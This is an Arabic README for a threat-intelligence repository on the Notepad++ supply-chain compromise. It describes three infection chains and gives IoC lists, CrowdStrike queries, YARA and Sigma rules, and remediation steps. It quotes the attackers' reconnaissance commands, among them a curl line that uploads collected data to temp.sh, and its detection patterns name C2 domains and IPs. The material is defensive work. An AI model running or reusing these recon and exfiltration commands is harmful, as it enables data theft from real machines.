## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RENAT0Z3R0-NOTEPADPP-SUPPLY-CHAIN-IOCS
# مستودع مؤشرات الاختراق لهجوم سلسلة توريد Notepad++
> **CVE-2025-15556** | Lotus Blossom / Raspberry Typhoon | يونيو – ديسمبر 2025
   
* * *
## نظرة عامة
يحتوي هذا المستودع على **مجموعة شاملة وموحّدة من مؤشرات الاختراق (IoCs)** المتعلقة بـ**هجوم سلسلة توريد Notepad++** الذي تم الكشف عنه في 2 فبراير 2026.
بين **يونيو وديسمبر 2025** ، قامت جهة تهديد مدعومة من الدولة الصينية باختراق البنية التحتية للاستضافة الخاصة بـ Notepad++، واختطفت آلية التحديث المدمجة (**WinGUp**) لتسليم مثبّتات معدّلة بشكل انتقائي إلى مستخدمين مستهدفين. استغل الهجوم غياب التحقق من التوقيعات الرقمية في المحدِّث (قبل الإصدار 8.8.9)، مما مكّن من توزيع أبواب خلفية مخصصة، وCobalt Strike Beacons، وحمولات Metasploit.
### حقائق رئيسية
* * *
## سلاسل الإصابة
حددت Kaspersky GReAT **ثلاث سلاسل إصابة متميزة** ، يتم تدويرها شهريًا تقريبًا لتجنب الاكتشاف:
### السلسلة #1 — يوليو/أغسطس 2025
root@kitploit:~
GUP.exe → update.exe (NSIS) → ProShow.exe (legitimate) → exploit via "load" file
→ Metasploit downloader → Cobalt Strike Beacon
* يستغل **ثغرة قديمة في برنامج ProShow** بدلاً من التحميل الجانبي لـ DLL
* الاستطلاع: `whoami && tasklist` → يتم تسريبها عبر `temp.sh`
* دليل العمل: `%appdata%\ProShow\`
### السلسلة #2 — سبتمبر/أكتوبر 2025
root@kitploit:~
GUP.exe → update.exe (NSIS) → script.exe (Lua interpreter) → alien.ini (compiled Lua)
→ shellcode via EnumWindowStationsW → Metasploit downloader → Cobalt Strike Beacon
* يستخدم **مفسّر Lua شرعي** لتنفيذ كود shellcode مُجمَّع
* استطلاع موسّع: `whoami && tasklist && systeminfo && netstat -ano`
* دليل العمل: `%appdata%\Adobe\Scripts\`
### السلسلة #3 — أكتوبر 2025
root@kitploit:~
GUP.exe → update.exe (NSIS) → BluetoothService.exe (legitimate) → log.dll (sideloaded)
→ decrypts "BluetoothService" shellcode → Chrysalis backdoor
* تقنية **التحميل الجانبي لـ DLL** كلاسيكية
* لا يوجد استطلاع مدمج (خلافًا للسلسلتين 1 و2)
* دليل العمل: `%appdata%\Bluetooth\`
* تم العثور على Cobalt Strike Beacon مرتبط في `C:\ProgramData\USOShared\`
root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│ COMPROMISE TIMELINE │
├─────────┬─────────┬─────────┬─────────┬─────────┬──────┤
│ Jul 25 │ Aug 25 │ Sep 25 │ Oct 25 │ Nov 25 │Dec 25│
├─────────┴─────────┴─────────┴─────────┴─────────┴──────┤
Chain #1 (ProShow) │████████████████████ │
Chain #2 (Lua) │ █████████████████████████████ │
Chain #3 (DLL SL) │ ██████████████ │
Infra access │████████████████████████████████████████████████████████│
└────────────────────────────────────────────────────────┘
* * *
## محتويات المستودع
الملف| الوصف
---|---
`notepadpp_supply_chain_iocs.csv`| مجموعة بيانات IoC كاملة (105 مؤشرات) مع خرائط MITRE ATT&CK
### مخطط CSV
* * *
## الاكتشاف والبحث عن التهديدات
### المؤشرات ذات الأولوية (ابدأ هنا)
**سلوكي — غير معتمد على مؤشرات محددة، الأعلى قيمة:**
* `gup.exe` يُطلق أي عملية فرعية أخرى غير مثبّت Notepad++ الشرعي الموقّع
* `gup.exe` يتصل بنطاقات/عناوين IP أخرى غير `notepad-plus-plus.org`, `github.com`, `release-assets.githubusercontent.com`
* إنشاء الدلائل: `%appdata%\ProShow\`, `%appdata%\Adobe\Scripts\`, `%appdata%\Bluetooth\`
* إنشاء `%localappdata%\Temp\ns.tmp\` (بيئة تشغيل NSIS — موجودة في جميع السلاسل)
**شبكي — ثقة عالية:**
* حل أسماء النطاقات لـ `cdncheck.it.com`, `safe-dns.it.com`, `self-dns.it.com`, `api.skycloudcenter.com`, `api.wiresguard.com`
* اتصالات بـ `temp.sh` (51.91.79.17) — خاصة مع رفع الملفات عبر curl
* طلبات HTTP تحتوي على عناوين `temp.sh` مضمّنة في ترويسة User-Agent
* اتصالات صادرة إلى `45.76.155.202`, `45.32.144.255`, `95.179.213.0`, `45.77.31.210`
**أوامر الاستطلاع (بعد الاختراق):**
root@kitploit:~
cmd /c whoami&&tasklist > 1.txt
cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt
curl -F "some-email@example.com" -s https://temp.sh/upload
### استعلامات CrowdStrike Falcon LogScale
**سلوكي: البحث عن العمليات الفرعية لـ GUP.exe**
root@kitploit:~
#event_simpleName=ProcessRollup2 event_platform=Win ParentBaseFileName="gup.exe"
| FilePath=/\\Device\\HarddiskVolume\d+(?<shortFilePath>.+$)/
| groupBy([FileName, SHA256HashData, shortFilePath, CommandLine])
**بحث متعدد المؤشرات عبر أحداث العمليات والشبكة وDNS**
root@kitploit:~
#event_simpleName=/(ProcessRollup2|NetworkConnectIP4|DnsRequest)/ event_platform=Win
| case {
// Malicious IPs
RemoteAddressIP4=/(95\.179\.213\.0|61\.4\.102\.97|59\.110\.7\.32|124\.222\.137\.114|45\.76\.155\.202|45\.32\.144\.255|45\.77\.31\.210)/
| iocType := "Malicious IP" | iocValue := RemoteAddressIP4 | riskScore := "HIGH";
// Malicious Domains
DomainName=/(api\.skycloudcenter\.com|api\.wiresguard\.com|cdncheck\.it\.com|safe-dns\.it\.com|self-dns\.it\.com|temp\.sh)/i
| iocType := "Malicious Domain" | iocValue := DomainName | riskScore := "HIGH";
// Suspicious filenames
ImageFileName=/\\(BluetoothService|admin|system|loader1|loader2|s047t5g|ConsoleApplication2|3yzr31vk|uffhxpSy)\.exe$/i
| iocType := "Suspicious Filename" | iocValue := ImageFileName | riskScore := "MEDIUM";
// Suspicious DLLs
ImageFileName=/\\(log\.dll|libtcc\.dll)$/i
| iocType := "Suspicious DLL" | iocValue := ImageFileName | riskScore := "MEDIUM";
// Chain-specific artifacts
ImageFileName=/\\(alien\.ini|load)$/i
| iocType := "Chain Artifact" | iocValue := ImageFileName | riskScore := "HIGH";
* | iocType := null;
}
| iocType=*
| ImageFileName=/\\(?<FileName>[^\\]+)$/
| table([riskScore, iocType, iocValue, @timestamp, aid, ComputerName, FileName, ImageFileName, CommandLine, SHA256HashData, RemoteAddressIP4, DomainName], limit=5000)
**كشف مثبّت NSIS (جميع السلاسل)**
root@kitploit:~
#event_simpleName=DirectoryCreate event_platform=Win
| FilePath=/\\ns\.tmp$/i
| FilePath=/\\Temp\\ns\.tmp$/i
| groupBy([aid, ComputerName, FilePath, ContextTimeStamp], limit=5000)
### قاعدة YARA (نمط NSIS + الاستطلاع)
**قاعدة YARA لمحدِّث NSIS الخبيث**
root@kitploit:~
rule Notepadpp_SupplyChain_MaliciousUpdater {
meta:
description = "Detects malicious NSIS installers from Notepad++ supply chain attack"
author = "Renato Z3r0 ed i miei sorcini"
date = "2026-02"
reference = "https://securelist.com/notepad-supply-chain-attack/118708/"
tlp = "WHITE"
strings:
$nsis = "Nullsoft.NSIS" ascii
$recon1 = "whoami" ascii nocase
$recon2 = "tasklist" ascii nocase
$recon3 = "systeminfo" ascii nocase
$recon4 = "netstat -ano" ascii nocase
$exfil = "temp.sh/upload" ascii nocase
$curl = "curl" ascii nocase
$dir1 = "\\ProShow\\" ascii nocase
$dir2 = "\\Adobe\\Scripts\\" ascii nocase
$dir3 = "\\Bluetooth\\" ascii nocase
condition:
uint16(0) == 0x5A4D and
$nsis and
(2 of ($recon*) or $exfil or ($curl and 1 of ($recon*))) and
1 of ($dir*)
}
### قواعد Sigma
**Sigma: عملية فرعية مشبوهة لـ GUP.exe**
root@kitploit:~
title: Notepad++ GUP.exe Suspicious Child Process
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects GUP.exe (Notepad++ updater) spawning suspicious child processes indicative of supply chain compromise
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
- https://securelist.com/notepad-supply-chain-attack/118708/
- https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/
tags:
- attack.initial_access
- attack.t1195.002
- cve.2025.15556
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith: '\gup.exe'
filter_legitimate:
Image|endswith:
- '\npp.Installer.x64.exe'
- '\npp.Installer.exe'
condition: selection_parent and not filter_legitimate
falsepositives:
- Legitimate Notepad++ installers with non-standard naming
level: high
**Sigma: أوامر استطلاع مع تسريب عبر temp.sh**
root@kitploit:~
title: Reconnaissance Data Exfiltration via temp.sh
id: b2c3d4e5-f6a7-8901-bcde-f12345678901
status: experimental
description: Detects system reconnaissance followed by data upload to temp.sh, as observed in Notepad++ supply chain attack
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
- https://securelist.com/notepad-supply-chain-attack/118708/
tags:
- attack.exfiltration
- attack.t1567
- attack.discovery
- attack.t1082
logsource:
category: process_creation
product: windows
detection:
selection_curl:
CommandLine|contains:
- 'temp.sh/upload'
- 'temp.sh'
Image|endswith: '\curl.exe'
condition: selection_curl
falsepositives:
- Legitimate use of temp.sh file sharing service (rare in corporate environments)
level: high
**Sigma: تحليل نطاق خبيث**
root@kitploit:~
title: Notepad++ Supply Chain C2 Domain Resolution
id: c3d4e5f6-a7b8-9012-cdef-123456789012
status: experimental
description: Detects DNS resolution of C2 domains associated with the Notepad++ supply chain attack
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
- https://securelist.com/notepad-supply-chain-attack/118708/
- https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/
tags:
- attack.command_and_control
- attack.t1071.001
logsource:
category: dns_query
product: windows
detection:
selection:
QueryName|endswith:
- 'cdncheck.it.com'
- 'safe-dns.it.com'
- 'self-dns.it.com'
- 'api.skycloudcenter.com'
- 'api.wiresguard.com'
condition: selection
falsepositives:
- Very unlikely in corporate environments
level: critical
* * *
## خرائط MITRE ATT&CK
* * *
## المراجع
* * *
## إجراءات فورية
1. **تحديد** جميع نقاط النهاية المثبّت عليها Notepad++ (أي إصدار أقل من 8.9.1)
2. **البحث** عن عمليات `gup.exe` التي تُطلق عمليات فرعية غير متوقعة بين يونيو وديسمبر 2025
3. **فحص** سجلات الشبكة بحثًا عن اتصالات بنطاقات C2 وعناوين IP المذكورة أعلاه
4. **التحقق** من آثار نظام الملفات (`%appdata%\ProShow\`, `%appdata%\Adobe\Scripts\`, `%appdata%\Bluetooth\`)
5. **تحديث** Notepad++ إلى **v8.9.1+** باستخدام مثبّت تم تنزيله يدويًا من الإصدارات الرسمية على GitHub
6. **إزالة** أي شهادات جذر مخصصة قديمة مثبّتة بواسطة إصدارات سابقة من Notepad++
7. **عزل** وفرز أي نقطة نهاية تظهر مؤشرات إيجابية
* * *
## سجل التغييرات
التاريخ| التغيير
---|---
2026-02-09| الإصدار الأول — 105 مؤشرات IoCs مجمّعة من Kaspersky وRapid7 وCrowdStrike وTenable
* * *
## الترخيص
هذا المستودع مقدم بموجب رخصة MIT. يتم تجميع مؤشرات الاختراق من مصادر عامة لأغراض دفاعية فقط.
* * *
## المساهمة
المساهمات مرحّب بها. إذا كانت لديك مؤشرات IoCs إضافية أو قواعد كشف أو تصحيحات:
1. انسخ (Fork) المستودع
2. أضف مؤشراتك إلى ملف CSV (مع الحفاظ على المخطط)
3. قدّم طلب سحب (Pull Request) مع مراجع المصدر
* * *
> **إخلاء مسؤولية** : هذا المستودع مخصص للأغراض الدفاعية للأمن السيبراني فقط. يتم توفير مؤشرات الاختراق وقواعد الكشف كما هي لمساعدة المؤسسات في تقييم مدى تعرّضها لهذا الاختراق في سلسلة التوريد.